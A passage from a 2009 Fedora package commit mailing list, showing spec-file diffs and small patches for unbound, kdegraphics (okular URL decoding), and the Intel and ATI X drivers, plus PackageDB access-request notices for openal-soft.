@@ -154,6 +154,9 @@ fi
 %postun libs -p /sbin/ldconfig
 
 %changelog
+* Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-2
+- Long neglected update
+
 * Tue Mar 17 2009 Paul Wouters <paul at xelerance.com> - 1.2.1-5
 - Use --nocheck to avoid giving an error on missing unbound-remote certs/keys
 



From pwouters at fedoraproject.org  Fri Oct  9 03:10:14 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Fri,  9 Oct 2009 03:10:14 +0000 (UTC)
Subject: rpms/unbound/F-12 .cvsignore, 1.9, 1.10 sources, 1.13,
	1.14 unbound.spec, 1.33, 1.34
Message-ID: <20091009031014.1ABC911C02A0@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/unbound/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21932

Modified Files:
	.cvsignore sources unbound.spec 
Log Message:
* Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-2
- Security update to 1.3.4 fixes NSEC3 processing



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/unbound/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	17 Aug 2009 15:10:16 -0000	1.9
+++ .cvsignore	9 Oct 2009 03:10:13 -0000	1.10
@@ -2,4 +2,7 @@ unbound-1.1.1.tar.gz
 unbound-1.2.0.tar.gz
 unbound-1.2.1.tar.gz
 unbound-1.3.0.tar.gz
+unbound-1.3.2.tar.gz
+unbound-1.3.1.tar.gz
 unbound-1.3.3.tar.gz
+unbound-1.3.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/unbound/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	17 Aug 2009 15:10:16 -0000	1.13
+++ sources	9 Oct 2009 03:10:13 -0000	1.14
@@ -1 +1,2 @@
 f6b2b2c375288dfd2a03c4a36676221e  unbound-1.3.3.tar.gz
+d1eb5efed0c36c10dbaf3f805ff3a4bd  unbound-1.3.4.tar.gz


Index: unbound.spec
===================================================================
RCS file: /cvs/extras/rpms/unbound/F-12/unbound.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- unbound.spec	21 Aug 2009 16:18:36 -0000	1.33
+++ unbound.spec	9 Oct 2009 03:10:13 -0000	1.34
@@ -8,7 +8,7 @@
 
 Summary: Validating, recursive, and caching DNS(SEC) resolver
 Name: unbound
-Version: 1.3.3
+Version: 1.3.4
 Release: 2%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/unbound/
@@ -193,6 +193,9 @@ fi
 %postun libs -p /sbin/ldconfig
 
 %changelog
+* Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-2
+- Security update to 1.3.4 fixes NSEC3 processing
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.3.3-2
 - rebuilt with new openssl
 



From pwouters at fedoraproject.org  Fri Oct  9 03:34:06 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Fri,  9 Oct 2009 03:34:06 +0000 (UTC)
Subject: rpms/unbound/EL-5 .cvsignore, 1.3, 1.4 sources, 1.5,
	1.6 unbound.spec, 1.9, 1.10
Message-ID: <20091009033406.82C0211C00DB@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/unbound/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24972

Modified Files:
	.cvsignore sources unbound.spec 
Log Message:
* Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-1
- Updated from 1.3.0 to 1.3.4
- Removed svn  patches that were merged in the full release



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/unbound/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	27 Jun 2009 18:46:49 -0000	1.3
+++ .cvsignore	9 Oct 2009 03:34:04 -0000	1.4
@@ -1,2 +1,8 @@
+unbound-1.1.1.tar.gz
+unbound-1.2.0.tar.gz
 unbound-1.2.1.tar.gz
 unbound-1.3.0.tar.gz
+unbound-1.3.2.tar.gz
+unbound-1.3.1.tar.gz
+unbound-1.3.3.tar.gz
+unbound-1.3.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/unbound/EL-5/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	27 Jun 2009 18:46:49 -0000	1.5
+++ sources	9 Oct 2009 03:34:04 -0000	1.6
@@ -1,2 +1,3 @@
 5437f2a1e698d8aa73ba19a60662a654  unbound-1.2.1.tar.gz
 783325c26ae1a47be0e496c94f3e1cca  unbound-1.3.0.tar.gz
+d1eb5efed0c36c10dbaf3f805ff3a4bd  unbound-1.3.4.tar.gz


Index: unbound.spec
===================================================================
RCS file: /cvs/extras/rpms/unbound/EL-5/unbound.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- unbound.spec	27 Jun 2009 18:48:29 -0000	1.9
+++ unbound.spec	9 Oct 2009 03:34:04 -0000	1.10
@@ -8,7 +8,7 @@
 
 Summary: Validating, recursive, and caching DNS(SEC) resolver
 Name: unbound
-Version: 1.3.0
+Version: 1.3.4
 Release: 1%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/unbound/
@@ -16,10 +16,7 @@ Source: http://www.unbound.net/downloads
 Source1: unbound.init
 Source2: unbound.conf
 Source3: unbound.munin
-Patch1: unbound-r1657.patch
-Patch2: unbound-r1670.patch
-Patch3: unbound-r1677.patch
-Patch4: unbound-1.2-glob.patch
+Patch1: unbound-1.2-glob.patch
 Group: System Environment/Daemons
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: flex, openssl-devel, ldns-devel >= 1.5.0, libevent-devel
@@ -84,10 +81,7 @@ Python modules and extensions for unboun
 
 %prep
 %setup -q 
-%patch1
-%patch2
-%patch3 
-%patch4 -p1
+%patch1 -p1
 
 %build
 %configure  --with-ldns= --with-libevent --with-pthreads --with-ssl \
@@ -188,6 +182,10 @@ fi
 %postun libs -p /sbin/ldconfig
 
 %changelog
+* Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-1
+- Updated from 1.3.0 to 1.3.4
+- Removed svn  patches that were merged in the full release
+
 * Sat Jun 27 2009 Paul Wouters <paul at xelerance.com> - 1.3.0-1
 - Updated to 1.3.0
 - Added support for dnssec-conf
@@ -262,6 +260,3 @@ fi
 
 * Wed Apr 23 2008 Wouter Wijngaards <wouter at nlnetlabs.nl> - 0.11
 - Initial version.
-
-
-



From rdieter at fedoraproject.org  Fri Oct  9 03:35:46 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 03:35:46 +0000 (UTC)
Subject: rpms/kdegraphics/devel kdegraphics-4.3.2-kde#207461.patch, NONE,
	1.1 kdegraphics.spec, 1.214, 1.215
Message-ID: <20091009033546.B055211C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdegraphics/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26127/devel

Modified Files:
	kdegraphics.spec 
Added Files:
	kdegraphics-4.3.2-kde#207461.patch 
Log Message:
* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
- okular does not handle escaped URL correctly (kde#207461)


kdegraphics-4.3.2-kde#207461.patch:
 shell.cpp |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE kdegraphics-4.3.2-kde#207461.patch ---
--- branches/KDE/4.3/kdegraphics/okular/shell/shell.cpp	2009/07/06 18:58:27	992398
+++ branches/KDE/4.3/kdegraphics/okular/shell/shell.cpp	2009/10/08 22:20:11	1032945
@@ -58,7 +58,12 @@
      if any.
      */
     QString arg = m_args->arg(argIndex);
+    const QString origArg = arg;
     arg.replace(QRegExp("^file:/{1,3}"), "/");
+    if (arg != origArg)
+    {
+        arg = QString::fromUtf8(QByteArray::fromPercentEncoding(arg.toUtf8()));
+    }
     KUrl url = KCmdLineArgs::makeURL(arg.toUtf8());
     int sharpPos = -1;
     if (!url.isLocalFile() || !QFile::exists(url.toLocalFile()))


Index: kdegraphics.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdegraphics/devel/kdegraphics.spec,v
retrieving revision 1.214
retrieving revision 1.215
diff -u -p -r1.214 -r1.215
--- kdegraphics.spec	7 Oct 2009 23:05:38 -0000	1.214
+++ kdegraphics.spec	9 Oct 2009 03:35:45 -0000	1.215
@@ -8,7 +8,7 @@
 Summary:        K Desktop Environment - Graphics Applications
 Epoch:          7
 Version:        4.3.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 
 Name:           kdegraphics
 #Obsoletes:     kdegraphics4 < %{version}-%{release}
@@ -21,6 +21,8 @@ Source0:        ftp://ftp.kde.org/pub/kd
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 ## upstream patches
+# http://bugs.kde.org/207461
+Patch100:  kdegraphics-4.3.2-kde#207461.patch
 
 %if 0%{?fedora}
 BuildRequires:  chmlib-devel
@@ -99,6 +101,8 @@ Summary: A kioslave for displaying WinHe
 %prep
 %setup -q -n kdegraphics-%{version}
 
+%patch100 -p4 -b kde#207461
+
 
 %build
 mkdir -p %{_target_platform}
@@ -233,6 +237,9 @@ fi
 
 
 %changelog
+* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- okular does not handle escaped URL correctly (kde#207461)
+
 * Thu Oct 08 2009 Than Ngo <than at redhat.com> - 4.3.2-2
 - rhel cleanup
 



From rdieter at fedoraproject.org  Fri Oct  9 03:35:46 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 03:35:46 +0000 (UTC)
Subject: rpms/kdegraphics/F-12 kdegraphics-4.3.2-kde#207461.patch, NONE,
	1.1 kdegraphics.spec, 1.214, 1.215
Message-ID: <20091009033546.CCD1811C0264@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdegraphics/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26127/F-12

Modified Files:
	kdegraphics.spec 
Added Files:
	kdegraphics-4.3.2-kde#207461.patch 
Log Message:
* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
- okular does not handle escaped URL correctly (kde#207461)


kdegraphics-4.3.2-kde#207461.patch:
 shell.cpp |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE kdegraphics-4.3.2-kde#207461.patch ---
--- branches/KDE/4.3/kdegraphics/okular/shell/shell.cpp	2009/07/06 18:58:27	992398
+++ branches/KDE/4.3/kdegraphics/okular/shell/shell.cpp	2009/10/08 22:20:11	1032945
@@ -58,7 +58,12 @@
      if any.
      */
     QString arg = m_args->arg(argIndex);
+    const QString origArg = arg;
     arg.replace(QRegExp("^file:/{1,3}"), "/");
+    if (arg != origArg)
+    {
+        arg = QString::fromUtf8(QByteArray::fromPercentEncoding(arg.toUtf8()));
+    }
     KUrl url = KCmdLineArgs::makeURL(arg.toUtf8());
     int sharpPos = -1;
     if (!url.isLocalFile() || !QFile::exists(url.toLocalFile()))


Index: kdegraphics.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdegraphics/F-12/kdegraphics.spec,v
retrieving revision 1.214
retrieving revision 1.215
diff -u -p -r1.214 -r1.215
--- kdegraphics.spec	7 Oct 2009 23:04:53 -0000	1.214
+++ kdegraphics.spec	9 Oct 2009 03:35:46 -0000	1.215
@@ -8,7 +8,7 @@
 Summary:        K Desktop Environment - Graphics Applications
 Epoch:          7
 Version:        4.3.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 
 Name:           kdegraphics
 #Obsoletes:     kdegraphics4 < %{version}-%{release}
@@ -21,6 +21,8 @@ Source0:        ftp://ftp.kde.org/pub/kd
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 ## upstream patches
+# http://bugs.kde.org/207461
+Patch100:  kdegraphics-4.3.2-kde#207461.patch
 
 %if 0%{?fedora}
 BuildRequires:  chmlib-devel
@@ -99,6 +101,8 @@ Summary: A kioslave for displaying WinHe
 %prep
 %setup -q -n kdegraphics-%{version}
 
+%patch100 -p4 -b kde#207461
+
 
 %build
 mkdir -p %{_target_platform}
@@ -233,6 +237,9 @@ fi
 
 
 %changelog
+* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- okular does not handle escaped URL correctly (kde#207461)
+
 * Thu Oct 08 2009 Than Ngo <than at redhat.com> - 4.3.2-2
 - rhel cleanup
 



From airlied at fedoraproject.org  Fri Oct  9 03:44:44 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Fri,  9 Oct 2009 03:44:44 +0000 (UTC)
Subject: rpms/xorg-x11-drv-intel/F-12 intel-gamma-fix.patch, NONE,
	1.1 xorg-x11-drv-intel.spec, 1.35, 1.36
Message-ID: <20091009034444.F336911C00DB@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27619

Modified Files:
	xorg-x11-drv-intel.spec 
Added Files:
	intel-gamma-fix.patch 
Log Message:
* Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 2.9.0-3
- set gamma on mode set major for kms


intel-gamma-fix.patch:
 drmmode_display.c |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE intel-gamma-fix.patch ---
diff --git a/src/drmmode_display.c b/src/drmmode_display.c
index e8a6c01..110db40 100644
--- a/src/drmmode_display.c
+++ b/src/drmmode_display.c
@@ -363,6 +363,11 @@ drmmode_set_mode_major(xf86CrtcPtr crtc, DisplayModePtr mode,
 		goto done;
 #endif
 
+#if XORG_VERSION_CURRENT >= XORG_VERSION_NUMERIC(1,7,0,0,0)
+                crtc->funcs->gamma_set(crtc, crtc->gamma_red, crtc->gamma_green,
+                                       crtc->gamma_blue, crtc->gamma_size);
+#endif
+
 	drmmode_ConvertToKMode(crtc->scrn, &kmode, mode);
 
 


Index: xorg-x11-drv-intel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12/xorg-x11-drv-intel.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- xorg-x11-drv-intel.spec	2 Oct 2009 02:59:27 -0000	1.35
+++ xorg-x11-drv-intel.spec	9 Oct 2009 03:44:44 -0000	1.36
@@ -7,7 +7,7 @@
 Summary:   Xorg X11 Intel video driver
 Name:      xorg-x11-drv-intel
 Version:   2.9.0
-Release:   2%{?dist}
+Release:   3%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -22,6 +22,7 @@ Source4:    make-git-snapshot.sh
 
 Patch1: kill-svideo.patch
 Patch2: copy-fb.patch
+Patch3: intel-gamma-fix.patch
 
 # needs to be upstreamed
 Patch20: intel-2.8.0-kms-get-crtc.patch
@@ -78,6 +79,7 @@ Debugging tools for Intel graphics chips
 %setup -q -n xf86-video-intel-%{dirsuffix} -b3
 %patch1 -p1 -b .svideo
 %patch2 -p1 -b .copy-fb
+%patch3 -p1 -b .gamma-fix
 %patch20 -p1 -b .get-crtc
 %patch21 -p1 -b .lvds-first
 %patch60 -p1 -b .uevent
@@ -137,6 +139,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/intel_*.1*
 
 %changelog
+* Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 2.9.0-3
+- set gamma on mode set major for kms
+
 * Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-2
 - Rebase to 2.9.0.
 - Need autoreconf also when patching a release (to pick up -ludev)



From rdieter at fedoraproject.org  Fri Oct  9 03:46:01 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 03:46:01 +0000 (UTC)
Subject: rpms/kdegraphics/F-10 kdegraphics-4.3.2-kde#207461.patch, NONE,
	1.1 kdegraphics.spec, 1.197, 1.198
Message-ID: <20091009034601.515DF11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdegraphics/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27798/F-10

Modified Files:
	kdegraphics.spec 
Added Files:
	kdegraphics-4.3.2-kde#207461.patch 
Log Message:
sync w/devel


kdegraphics-4.3.2-kde#207461.patch:
 shell.cpp |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE kdegraphics-4.3.2-kde#207461.patch ---
--- branches/KDE/4.3/kdegraphics/okular/shell/shell.cpp	2009/07/06 18:58:27	992398
+++ branches/KDE/4.3/kdegraphics/okular/shell/shell.cpp	2009/10/08 22:20:11	1032945
@@ -58,7 +58,12 @@
      if any.
      */
     QString arg = m_args->arg(argIndex);
+    const QString origArg = arg;
     arg.replace(QRegExp("^file:/{1,3}"), "/");
+    if (arg != origArg)
+    {
+        arg = QString::fromUtf8(QByteArray::fromPercentEncoding(arg.toUtf8()));
+    }
     KUrl url = KCmdLineArgs::makeURL(arg.toUtf8());
     int sharpPos = -1;
     if (!url.isLocalFile() || !QFile::exists(url.toLocalFile()))


Index: kdegraphics.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdegraphics/F-10/kdegraphics.spec,v
retrieving revision 1.197
retrieving revision 1.198
diff -u -p -r1.197 -r1.198
--- kdegraphics.spec	7 Oct 2009 10:41:25 -0000	1.197
+++ kdegraphics.spec	9 Oct 2009 03:46:00 -0000	1.198
@@ -8,7 +8,7 @@
 Summary:        K Desktop Environment - Graphics Applications
 Epoch:          7
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        3%{?dist}
 
 Name:           kdegraphics
 #Obsoletes:     kdegraphics4 < %{version}-%{release}
@@ -21,12 +21,16 @@ Source0:        ftp://ftp.kde.org/pub/kd
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 ## upstream patches
+# http://bugs.kde.org/207461
+Patch100:  kdegraphics-4.3.2-kde#207461.patch
 
+%if 0%{?fedora}
+BuildRequires:  chmlib-devel
+BuildRequires:  ebook-tools-devel
+%endif
 BuildRequires:  kdelibs4-devel >= %{version}
 BuildRequires:  kdepimlibs-devel >= %{version}
-BuildRequires:  chmlib-devel
 BuildRequires:  djvulibre-devel
-BuildRequires:  ebook-tools-devel
 BuildRequires:  exiv2-devel
 BuildRequires:  giflib-devel
 BuildRequires:  lcms-devel
@@ -97,6 +101,8 @@ Summary: A kioslave for displaying WinHe
 %prep
 %setup -q -n kdegraphics-%{version}
 
+%patch100 -p4 -b kde#207461
+
 
 %build
 mkdir -p %{_target_platform}
@@ -231,6 +237,12 @@ fi
 
 
 %changelog
+* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- okular does not handle escaped URL correctly (kde#207461)
+
+* Thu Oct 08 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- rhel cleanup
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From rdieter at fedoraproject.org  Fri Oct  9 03:46:02 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 03:46:02 +0000 (UTC)
Subject: rpms/kdegraphics/F-11 kdegraphics-4.3.2-kde#207461.patch, NONE,
	1.1 kdegraphics.spec, 1.207, 1.208
Message-ID: <20091009034602.31E7611C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdegraphics/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27798/F-11

Modified Files:
	kdegraphics.spec 
Added Files:
	kdegraphics-4.3.2-kde#207461.patch 
Log Message:
sync w/devel


kdegraphics-4.3.2-kde#207461.patch:
 shell.cpp |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE kdegraphics-4.3.2-kde#207461.patch ---
--- branches/KDE/4.3/kdegraphics/okular/shell/shell.cpp	2009/07/06 18:58:27	992398
+++ branches/KDE/4.3/kdegraphics/okular/shell/shell.cpp	2009/10/08 22:20:11	1032945
@@ -58,7 +58,12 @@
      if any.
      */
     QString arg = m_args->arg(argIndex);
+    const QString origArg = arg;
     arg.replace(QRegExp("^file:/{1,3}"), "/");
+    if (arg != origArg)
+    {
+        arg = QString::fromUtf8(QByteArray::fromPercentEncoding(arg.toUtf8()));
+    }
     KUrl url = KCmdLineArgs::makeURL(arg.toUtf8());
     int sharpPos = -1;
     if (!url.isLocalFile() || !QFile::exists(url.toLocalFile()))


Index: kdegraphics.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdegraphics/F-11/kdegraphics.spec,v
retrieving revision 1.207
retrieving revision 1.208
diff -u -p -r1.207 -r1.208
--- kdegraphics.spec	7 Oct 2009 10:41:26 -0000	1.207
+++ kdegraphics.spec	9 Oct 2009 03:46:01 -0000	1.208
@@ -8,7 +8,7 @@
 Summary:        K Desktop Environment - Graphics Applications
 Epoch:          7
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        3%{?dist}
 
 Name:           kdegraphics
 #Obsoletes:     kdegraphics4 < %{version}-%{release}
@@ -21,12 +21,16 @@ Source0:        ftp://ftp.kde.org/pub/kd
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 ## upstream patches
+# http://bugs.kde.org/207461
+Patch100:  kdegraphics-4.3.2-kde#207461.patch
 
+%if 0%{?fedora}
+BuildRequires:  chmlib-devel
+BuildRequires:  ebook-tools-devel
+%endif
 BuildRequires:  kdelibs4-devel >= %{version}
 BuildRequires:  kdepimlibs-devel >= %{version}
-BuildRequires:  chmlib-devel
 BuildRequires:  djvulibre-devel
-BuildRequires:  ebook-tools-devel
 BuildRequires:  exiv2-devel
 BuildRequires:  giflib-devel
 BuildRequires:  lcms-devel
@@ -97,6 +101,8 @@ Summary: A kioslave for displaying WinHe
 %prep
 %setup -q -n kdegraphics-%{version}
 
+%patch100 -p4 -b kde#207461
+
 
 %build
 mkdir -p %{_target_platform}
@@ -231,6 +237,12 @@ fi
 
 
 %changelog
+* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- okular does not handle escaped URL correctly (kde#207461)
+
+* Thu Oct 08 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- rhel cleanup
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From pkgdb at fedoraproject.org  Fri Oct  9 04:28:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 04:28:27 +0000
Subject: [pkgdb] openal-soft: cassmodiah has requested watchcommits
Message-ID: <20091009042827.E737910F892@bastion2.fedora.phx.redhat.com>

cassmodiah has requested the watchcommits acl on openal-soft (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 04:28:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 04:28:28 +0000
Subject: [pkgdb] openal-soft: cassmodiah has requested commit
Message-ID: <20091009042828.888F210F8A3@bastion2.fedora.phx.redhat.com>

cassmodiah has requested the commit acl on openal-soft (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 04:28:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 04:28:28 +0000
Subject: [pkgdb] openal-soft: cassmodiah has requested watchbugzilla
Message-ID: <20091009042829.6E70A10F8A4@bastion2.fedora.phx.redhat.com>

cassmodiah has requested the watchbugzilla acl on openal-soft (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 04:28:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 04:28:29 +0000
Subject: [pkgdb] openal-soft: cassmodiah has requested approveacls
Message-ID: <20091009042829.A92B210F8AB@bastion2.fedora.phx.redhat.com>

cassmodiah has requested the approveacls acl on openal-soft (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 04:28:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 04:28:34 +0000
Subject: [pkgdb] openal-soft: cassmodiah has requested watchcommits
Message-ID: <20091009042834.6B87B10F880@bastion2.fedora.phx.redhat.com>

cassmodiah has requested the watchcommits acl on openal-soft (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 04:28:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 04:28:34 +0000
Subject: [pkgdb] openal-soft: cassmodiah has requested watchbugzilla
Message-ID: <20091009042835.0837A10F8AF@bastion2.fedora.phx.redhat.com>

cassmodiah has requested the watchbugzilla acl on openal-soft (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 04:28:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 04:28:35 +0000
Subject: [pkgdb] openal-soft: cassmodiah has requested commit
Message-ID: <20091009042835.46DCC10F8AD@bastion2.fedora.phx.redhat.com>

cassmodiah has requested the commit acl on openal-soft (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 04:28:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 04:28:36 +0000
Subject: [pkgdb] openal-soft: cassmodiah has requested approveacls
Message-ID: <20091009042837.1512D10F8A4@bastion2.fedora.phx.redhat.com>

cassmodiah has requested the approveacls acl on openal-soft (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From airlied at fedoraproject.org  Fri Oct  9 04:50:01 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Fri,  9 Oct 2009 04:50:01 +0000 (UTC)
Subject: rpms/xorg-x11-drv-ati/F-12 radeon-kms-cursor-reload.patch, NONE,
	1.1 xorg-x11-drv-ati.spec, 1.190, 1.191
Message-ID: <20091009045001.C4D5811C00C1@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/xorg-x11-drv-ati/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30561

Modified Files:
	xorg-x11-drv-ati.spec 
Added Files:
	radeon-kms-cursor-reload.patch 
Log Message:
* Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 6.13.0-0.9.20091006git457646d73
- reload cursors on mode switch/rotate


radeon-kms-cursor-reload.patch:
 drmmode_display.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE radeon-kms-cursor-reload.patch ---
diff --git a/src/drmmode_display.c b/src/drmmode_display.c
index f82dec8..07ee561 100644
--- a/src/drmmode_display.c
+++ b/src/drmmode_display.c
@@ -330,7 +330,8 @@ drmmode_set_mode_major(xf86CrtcPtr crtc, DisplayModePtr mode,
 		}
 	}
 
-
+	if (pScrn->pScreen)
+		xf86_reload_cursors(pScrn->pScreen);
 
 done:
 	if (!ret) {


Index: xorg-x11-drv-ati.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-ati/F-12/xorg-x11-drv-ati.spec,v
retrieving revision 1.190
retrieving revision 1.191
diff -u -p -r1.190 -r1.191
--- xorg-x11-drv-ati.spec	7 Oct 2009 07:31:42 -0000	1.190
+++ xorg-x11-drv-ati.spec	9 Oct 2009 04:50:00 -0000	1.191
@@ -7,7 +7,7 @@
 Summary:   Xorg X11 ati video driver
 Name:      xorg-x11-drv-ati
 Version:   6.13.0
-Release:   0.8.%{gitdate}git%{gitversion}%{?dist}
+Release:   0.9.%{gitdate}git%{gitversion}%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -23,6 +23,7 @@ Patch6:     radeon-6.9.0-bgnr-enable.pat
 Patch10:    radeon-6.12.2-lvds-default-modes.patch
 Patch13:    fix-default-modes.patch
 Patch14:    r600-enable-mixed.patch
+Patch15:    radeon-kms-cursor-reload.patch
 
 ExcludeArch: s390 s390x
 
@@ -51,6 +52,7 @@ X.Org X11 ati video driver.
 %patch10 -p1 -b .lvds
 %patch13 -p1 -b .def
 %patch14 -p1 -b .mix
+%patch15 -p1 -b .cursor-reload
 
 %build
 autoreconf -iv
@@ -84,6 +86,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man4/radeon.4*
 
 %changelog
+* Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 6.13.0-0.9.20091006git457646d73
+- reload cursors on mode switch/rotate
+
 * Wed Oct 07 2009 Dave Airlie <airlied at redhat.com> 6.13.0-0.8.20091006git457646d73
 - fix rotate (#527000)
 



From fabbione at fedoraproject.org  Fri Oct  9 05:11:17 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  9 Oct 2009 05:11:17 +0000 (UTC)
Subject: rpms/corosync/F-11 .cvsignore, 1.5, 1.6 corosync.spec, 1.25,
	1.26 sources, 1.6, 1.7
